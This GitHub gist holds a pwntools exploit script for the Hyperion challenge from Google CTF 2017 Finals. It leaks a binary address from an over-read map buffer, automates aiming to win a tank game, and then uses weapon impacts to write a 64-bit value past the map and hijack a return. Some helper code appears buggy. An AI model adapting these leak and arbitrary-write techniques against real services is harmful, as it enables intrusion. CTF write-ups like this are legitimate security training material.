Skip to content

Instantly share code, notes, and snippets.

@X3eRo0
Created April 8, 2021 15:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save X3eRo0/dfbb43660c616cbb03002d83c79c647b to your computer and use it in GitHub Desktop.
Save X3eRo0/dfbb43660c616cbb03002d83c79c647b to your computer and use it in GitHub Desktop.
HYPERION [Pwn] - Google CTF 2017 Finals Exploit
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit was generated via
# 1) pwntools
# 2) ctfinit
import os
import time
import pwn
import struct
from math import sqrt, sin, cos, radians as rd, degrees as dg
# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF('./hyperion_server')
pwn.context.terminal = ["tilix","-a","session-add-right","-e"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
host = pwn.args.HOST or '192.168.56.3'
port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if pwn.args.GDB:
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = pwn.connect(host, port)
if pwn.args.GDB:
pwn.gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if pwn.args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# tg = local(env={"HYPERION_FORK_SERVER": "1"})
io = start()
def GetOffsetStdin():
log_level = pwn.context.log_level
pwn.context.log_level = 'critical'
if exe.arch != 'amd64':
print("[-] only amd64 supported")
exit(-1)
p = pwn.process(exe.path)
p.sendline(pwn.cyclic(512))
p.wait()
time.sleep(2)
core = p.corefile
fault = core.fault_addr
ofst = pwn.cyclic_find(fault & 0xffffffff)
p.close()
pwn.context.log_level = log_level
return ofst
def GetOffsetArgv():
log_level = pwn.context.log_level
pwn.context.log_level = 'critical'
if exe.arch != 'amd64':
print("[-] only amd64 supported")
exit(-1)
p = pwn.process([exe.path, cyclic(512)])
p.wait()
time.sleep(2)
core = p.corefile
fault = core.fault_addr
ofst = pwn.cyclic_find(fault & 0xffffffff)
p.close()
pwn.context.log_level = log_level
return ofst
'''
Leak:
The server generates a map and stores it in a stack variable.
The bug here is that the server sends a few more bytes than
the map so we get leak from the stack. The server sends
'''
class Tank:
def __init__(self, n, x, y, hp):
self.n = n
self.x = x
self.y = y
self.hp = hp
def Show(self):
print("Tank %d" % self.n)
print(" x : %d" % self.x)
print(" y : %d" % self.y)
print(" hp: %d" % self.hp)
class Tanks:
def __init__(self, data):
self.data=data
x1 = struct.unpack("<I", data[0x00:0x04])[0]
y1 = struct.unpack("<I", data[0x04:0x08])[0]
hp1= struct.unpack("<I", data[0x08:0x0C])[0]
x2 = struct.unpack("<I", data[0x0C:0x10])[0]
y2 = struct.unpack("<I", data[0x10:0x14])[0]
hp2= struct.unpack("<I", data[0x14:0x18])[0]
self.tank1 = Tank(1, x1, y1, hp1)
self.tank2 = Tank(2, x2, y2, hp2)
def Show(self):
print(" TANK 1 TANK 2")
print(" x : %.4d x : %.4d" % (self.tank1.x, self.tank2.x))
print(" y : %.4d y : %.4d" % (self.tank1.y, self.tank2.y))
print(" hp: %.4d hp: %.4d" % (self.tank1.hp, self.tank2.hp))
def GetBytes(self):
return b"TANK" + self.data
def RecvText():
io.recvuntil("TEXT")
nbytes = pwn.u32(io.recv(4))
text = io.recv(nbytes)
return text
return None
def RecvBllt():
io.recvuntil("BLLT")
nbytes = pwn.u32(io.recv(4))
bllt = io.recv(nbytes)
return bllt
def RecvMap():
io.recvuntil("GMAP")
nbytes = pwn.u32(io.recv(4))
gmap = b""
for i in range(nbytes):
gmap += io.recv(1)
return gmap
def RecvTank():
io.recvuntil("TANK")
nbytes = pwn.u32(io.recv(4))
data = b""
for i in range(nbytes):
data += io.recv(1)
tank = Tanks(data[:0x18])
return tank
def GetAim(d, h):
g = 9.8
for angle in range(90, 0, -1):
root = ((g * d * d)/2)
root /= (d * abs(sin(rd(angle))) * cos(rd(angle)) - h * (cos(rd(angle)) ** 2))
power = sqrt(root)
angle = 180 - angle
if power <= 100.0 and power >= 10.0:
return power, angle
def CreatePacket(weapon, power, angle):
Packet = b"FIRE"
Packet += pwn.p32(0x18)
Packet += pwn.p64(weapon)
Packet += struct.pack("d", power)
Packet += struct.pack("d", angle)
return Packet
def CreateAimbotPacket(tanks):
xa = tanks.tank1.x
xb = tanks.tank2.x
ya = tanks.tank1.y
yb = tanks.tank2.y
d = abs(xa - xb)
h = abs(ya - yb)
power, angle = GetAim(d, h)
print("AIM at (%d, %d)" % (xb, yb))
print("angle: %f" % angle)
print("power: %f" % power)
return CreatePacket(1, power, angle)
def FireAt(weapon, x, y, tanks, debug):
xa = tanks.tank1.x
xb = x
ya = tanks.tank1.y
yb = y
d = abs(xa - xb)
h = abs(ya - yb)
P,A= GetAim(d, h)
if debug:
print("AIM at (%d, %d)" % (x, y))
print("angle: %f" % A)
print("power: %f" % P)
return CreatePacket(weapon, P, A)
def WriteBitAt(x, y, tanks, bit, debug):
if bit:
weapon = 2
radius = 15
else:
weapon = 3
radius = 50
x += radius + 2
return FireAt(weapon, x, y, tanks, debug)
def GetPixel(gmap, x, y):
idx = x + y * 640
idx_byt = idx // 8
idx_bit = idx % 8
return (gmap[idx_byt] >> idx_bit) & 1
RecvText()
DUMP = RecvMap()
Leak = {
"binary" : pwn.u64(DUMP[0x9608:0x9610]) - 0x02874,
}
pwn.info("Binary : 0x%x" % Leak['binary'])
width = 640
height = 480
pwn.info("Stage 1 (Defeat Red Tank)")
while True:
tanks = RecvTank()
tanks.Show()
if tanks.tank1.hp != tanks.tank2.hp:
pwn.info("Tank2 Won")
os._exit(0)
io.send(CreateAimbotPacket(tanks))
RecvBllt()
RecvText()
if tanks.tank2.hp < 18:
break
RecvBllt()
RecvText()
MAP = RecvMap()
# once red tank is defeated clear all the terrain
pwn.info("Stage 2 (Clear all terrain)")
x = 0
r = True
s = True
while True:
# 1. check if ground at 0, 479
# if ground then send clear bomb
if x >= 320:
break
if r:
gmap = RecvMap()
tank = RecvTank()
tank.Show()
if GetPixel(gmap, x, 479):
io.send(FireAt(3, x, 479, tank, True))
RecvBllt()
RecvText()
r = True
else:
if x == (tank.tank1.x - 30):
x += 60
x += 10 # radius of weapon3
r = False
continue
# Terrain is all empty for us to write
# target is gmap + 0x9608 (64, 480)
# Lets try to write a 1
pwn.info("Attempting to do arbitrary 64bit write")
# gmap = RecvMap()
# tank = RecvTank()
# tank.Show()
target = Leak['binary'] + 0x2A52
dummy = 0
pwn.info("Target : 0x%x" % target)
for i in range(64):
bit = (target >> i) & 1
dummy |= bit << i
if GetPixel(gmap, 64 + i, 480) != bit:
io.send(WriteBitAt(64 + i, 480, tank, bit, False)) # fire dirt ball at x
RecvBllt()
# print(RecvText())
gmap = RecvMap()
tank = RecvTank()
# tank.Show()
print(pwn.hexdump(pwn.p64(dummy), begin=i).split('\n')[0])
io.send(FireAt(4, 500, 500, tanks, False)) # will cause a return
pwn.info('Exploit Completed Successfully')
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment